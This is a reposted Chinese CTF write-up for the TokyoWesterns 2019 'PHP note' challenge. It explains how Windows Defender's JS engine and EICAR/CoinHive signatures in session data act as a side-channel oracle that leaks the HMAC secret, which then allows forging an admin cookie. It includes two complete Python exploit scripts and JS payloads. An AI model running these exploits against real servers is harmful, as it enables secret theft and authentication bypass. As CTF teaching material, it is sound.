1. 威客安全首页
  2. 安全资讯

PHP note(利用windows defender进行侧信道攻击)

PHP note(利用windows defender进行侧信道攻击)

 

这是前不久TokyoWesterns CTF 2019 上的一道题目,个人觉得这类题目比较有意思,算是接触了以前不曾接触的方面,对侧信道的概念又加深了一点,以下为做这道题目的总结学习。

http://phpnote.chal.ctf.westerns.tokyo/

 

0x01 题目及分析

<?php
include 'config.php';

class Note {
    public function __construct($admin) {
        $this->notes = array();
        $this->isadmin = $admin;
    }

    public function addnote($title, $body) {
        array_push($this->notes, [$title, $body]);
    }

    public function getnotes() {
        return $this->notes;
    }

    public function getflag() {
        if ($this->isadmin === true) {
            echo FLAG;
        }
    }
}

function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
    $secret = $_SESSION['secret'];
    if (empty($data) || empty($secret)) return false;
    return hash_hmac('sha256', $data, $secret);
}

function gen_secret($seed) {
    return md5(SALT . $seed . PEPPER);
}

function is_login() {
    return !empty($_SESSION['secret']);
}

function redirect($action) {
    header("Location: /?action=$action");
    exit();
}

$method = $_SERVER['REQUEST_METHOD'];
$action = $_GET['action'];

if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
    redirect('index');
}

if ($action === 'source') {
    highlight_file(__FILE__);
    exit();
}


session_start();

if (is_login()) {
    $realname = $_SESSION['realname'];
    $nickname = $_SESSION['nickname'];

    $note = verify($_COOKIE['note'], $_COOKIE['hmac'])
            ? unserialize(base64_decode($_COOKIE['note']))
            : new Note(false);
}

if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}

if ($action === 'logout') {
    session_destroy();
    redirect('index');
}

if ($action === 'post') {
    if ($method === 'POST') {
        $title = (string)$_POST['title'];
        $body = (string)$_POST['body'];
        $note->addnote($title, $body);
        $data = base64_encode(serialize($note));
        setcookie('note', (string)$data);
        setcookie('hmac', (string)hmac($data));
    }
    redirect('index');
}

if ($action === 'getflag') {
    $note->getflag();
}

?>

题目定义了一个Note对象,想要获得FLAG的话需要调用该对象的getflag方法。

class Note {
    public function __construct($admin) {
        $this->notes = array();
        $this->isadmin = $admin;
    }
    public function addnote($title, $body) {
        array_push($this->notes, [$title, $body]);
    }
    public function getnotes() {
        return $this->notes;
    }
    public function getflag() {
        if ($this->isadmin === true) {
            echo FLAG;
        }
    }
}

不过想要输出FLAG需要进行检验,检验该对象中的isadmin标志是否===true,如果为true则输出FLAG。

$Note->getflag()会在action参数为getflag时进行调用。

在$_COOKIE[‘note’]中存放了序列化后base64加密的Note对象,比如

Tzo0OiJOb3RlIjoyOntzOjU6Im5vdGVzIjthOjE6e2k6MDthOjI6e2k6MDtzOjE6ImEiO2k6MTtzOjE6ImEiO319czo3OiJpc2FkbWluIjtiOjA7fQ%3D%3D

并且在每次访问时,首先会经过下面这段代码的验证,如果验证通过则$Note的值为,对$_COOKIE[‘note’]进行base64解码然后进行反序列化后所得的对象,如果为假则$Note的值为isadmin值为false的Note对象。

if (is_login()) {
    $realname = $_SESSION['realname'];
    $nickname = $_SESSION['nickname'];

    $note = verify($_COOKIE['note'], $_COOKIE['hmac'])
            ? unserialize(base64_decode($_COOKIE['note']))
            : new Note(false);
}

如果后端对数据不做任何检验,我们可以轻易伪造一个isadmin值为true的Note对象,这样就可以直接调用到getflag()函数,但是这道题目后端采调用了gen_secret()函数来生成一个secret值存放于$_SESSION中

function gen_secret($seed) {
    return md5(SALT . $seed . PEPPER);
}

并在检验过程中作为hash_mac的key值,希望借此来阻挡伪造对象获取FLAG

function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
    $secret = $_SESSION['secret'];
    if (empty($data) || empty($secret)) return false;
    return hash_hmac('sha256', $data, $secret);
}

看起来,似乎没有什么办法可以获得FLAG了。注意到该系统运行的是Microsoft-IIS/10.0 + PHP/7.3.9我们可以判断该系统为window系统。

 

0x02 Windows Defender的文件检测及防御

对这个特性的利用方法是TokyoWesterns团队(也就是这个比赛的主办方)icchy大佬在WCTF2019中提出的,详细内容可以参考(https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf)

Windows Defender做什么?

Windows Defender会做以下几个事情:

  1. 检查文件的内容是否含有恶意数据。
  2. 更改含有恶意数据的文件的权限来阻止用户执行。
  3. 把恶意部分替换为空字节。
  4. 删除整个文件。

在第二步之后,文件就由SYSTEM来控制了,用户无法打开包含恶意数据的文件。

什么样的malicious code会触发?

EICAR标准反病毒测试文件,又称EICAR测试文件, 是由欧洲反计算机病毒协会与计算机病毒研究组织研制的文件, 用以测试杀毒软件的响应程度。不同于使用可能造成实际破环的实体恶意软件,该文件允许人们在没有计算机病毒的情况下测试杀毒软件。 杀毒软件的开发者将EICAR字符视为测试病毒,与其他鉴别标识相似。

进行一下验证,如果安装了杀毒软件的需要自行把病毒防护更改为Windows自带的Windows Defender。

我随便新建一个文件,写入从EICAR标准反病毒测试文件中挑选的一些样本,比如:

那么将会被Windows Defender检测并执行上述步骤

PHP note(利用windows defender进行侧信道攻击)

PHP note(利用windows defender进行侧信道攻击)

在最后该文件会被清除。

Windows Defender还有什么特性?

mpengine.dll是Windows Defender的核心DLL,其中包含了JScript engine,在JScript engine中继承了一些基础用法,比如字符串索引操作、数学操作这些,并且支持eval函数,但是eval的参数会进行检测,假如我们想要执行的参数里包含恶意代码样本的特征,将会触发Windows Defender。

这个特性可以怎么利用呢?

假如可控输入会以某种形式被Windows Defender检测,比如该输入保存到了session文件中,那么就会按照上面介绍的四个步骤对该session文件处理,所得到的具体表现为,使用该session无法正常登录(因为被session文件被Windows Defender阻止了,无法访问)

在这道题目中,正常的session文件内容如下:

realname|s:8:"realname";nickname|s:8:"nickname";secret|s:6:"secret";

但是realname和nickname的值是我们可控的,假如控制输入为恶意数据,那就会触发检测。

0x03 利用Windows Defender来获取secret

上面我们只讲到存在malicious data的文件会触发检测,那么我们怎么利用这个现象来获取数据呢?

结合前面的Windows Defender自带的JS引擎,Windows Defender可以执行简单的JS,那么我们可以通过简单的JS代码来获取document.body.innerHTML的内容。

比如:

<script>
    var mal = 'var miner=new Coin';
    var n = document.body.innerHTML.charCodeAt(0);
    mal = mal + String.fromCharCode(n^40) + 'ive.User();miner.start';
    
</script>

但是又有同学可能会问,secret不是存放在session里吗,就算输入malicious data,触发检测,甚至获取document.body.innerHTML的内容又能怎么样呢?

这里就要通过构造标签来使得secret包含在标签内,比如:

realname|s:6:"<body>";secret|s:6:"secret";nickname|s:179:"</body>PAYLOAD";

在PAYLOAD辅以简单的判断innerHTML内容的代码,如果判断为真则返回*来触发检测,如果为假则返回任意一个不会触发的字符。

但是正常输入realname和nickname的话session文件如下:

realname|s:8:"realname<body>";nickname|s:8:"nickname</body>";secret|s:6:"secret";

这个时候即使构造标签,也无法使得secret在innerHTML里,但是仔细观察代码:

if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}

如果nickname为空,那么就只有realname和secret会被存进session里

realname|s:8:"realname<body>";secret|s:6:"secret";

如果再次进行login请求并携带nickname值,那么nickname值就会被加到session文件的末尾。

realname|s:8:"realname<body>";secret|s:6:"secret";nickname|s:8:"nickname</body>";

这样我们就可以把secret包含在innerHTML里了,并且通过JS可以获取到secret。

如果判断值与secret中的某个值相等,则返回会触发检测的值,这时Windows Defender已经阻止该session文件的访问或者已经删除,那么我们使用相同session再次请求登录就会要求我们再次登录,这样我们就有一个oracle,并得到secret的值,从而伪造isadmin的值为true的Note对象。

后面就是JS判断的编写,以及恶意数据样本的选取,通过脚本来省去这一系列的步骤。

给出梅子酒师傅的脚本

import requests
import string
import random
url = "http://phpnote.chal.ctf.westerns.tokyo/?action={}"
result = ""
def randstr(n=10):
    chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
    return ''.join([random.choice(chars) for _ in range(n)])

def loop(idx, sess_id):
    l, h = 0, 0x100
    while h - l > 1:
        m = (h + l) // 2
        p = '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
        p = string.Template(p).substitute({'idx': idx, 'c': str(m)})
        sess_id = randstr()
        headers = {
        "Cookie": "PHPSESSID={}; path=/".format(sess_id)
        }
        requests.post("http://phpnote.chal.ctf.westerns.tokyo/?action=login", headers=headers, data={'realname': p}, proxies={'http':'localhost:1080'})
        requests.post("http://phpnote.chal.ctf.westerns.tokyo/?action=login", headers=headers, data={'realname': p, 'nickname': "</body>"}, proxies={'http':'localhost:1080'})
        re = requests.get("http://phpnote.chal.ctf.westerns.tokyo/?action=index", headers=headers, proxies={'http':'localhost:1080'})
        if re.text.find('Welcome') != -1:
            h = m
        else:
            l = m
    return chr(l)

for i in range(0, 50):
    x = loop(i, "627e7a6eb29a9750aeb1c6dd2539cc80")
    print("[*]: " + x)
    result += x

print(result)

balsn大佬们的:

#!/usr/bin/env python3
import requests
s = requests.session()

data = {
  'realname': 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<body>',
  'nickname': '',
}
r = s.post('http://phpnote.chal.ctf.westerns.tokyo/?action=login', data=data)

data = {
  'realname': 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<body>',
  'nickname': '''
</body>
<script>
// entropy QAQQAQ qceO9xEKzbOLk8IG90JtVKqA3prrbfQPqQb0wLksU+e7trdtVPUa1VbfiPnDs41bO2AEMQyySz+J
var aa;
aa=function(l) {
    eval("WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo" + l);
}

aa(document.body.innerHTML.indexOf('secret') != -1 ?"K":"G")
</script>
''',
}
r = s.post('http://phpnote.chal.ctf.westerns.tokyo/?action=login', data=data)
print(r.text)

样本的选取以及JS的编写也不唯一,比如

<script>
    var mal = 'var miner=new Coin';
    var n = document.body.innerHTML.charCodeAt(0);
    mal = mal + String.fromCharCode(n^40) + 'ive.User();miner.start';
    eval(mal);
</script>
//触发
<script>
    var mal = 'var miner=new Coin';
    var n = document.body.innerHTML.charCodeAt(0);
    mal = mal + String.fromCharCode(n^65) + 'ive.User();miner.start';
    eval(mal);
</script>
//不触发

最后获取到secret就可以轻松伪造得到FLAG了!

 

0x04 References

https://en.wikipedia.org/wiki/EICARtestfile

https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf

https://meizjm3i.github.io/2019/08/01/%E5%88%A9%E7%94%A8Windows%20Defender%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB/

本文转为转载文章,本文观点不代表威客安全立场。

联系我们

4006-119-120

在线咨询:点击这里给我发消息

邮件:public@jinlongsec.com

工作时间:周一至周五,9:30-18:30,节假日休息

X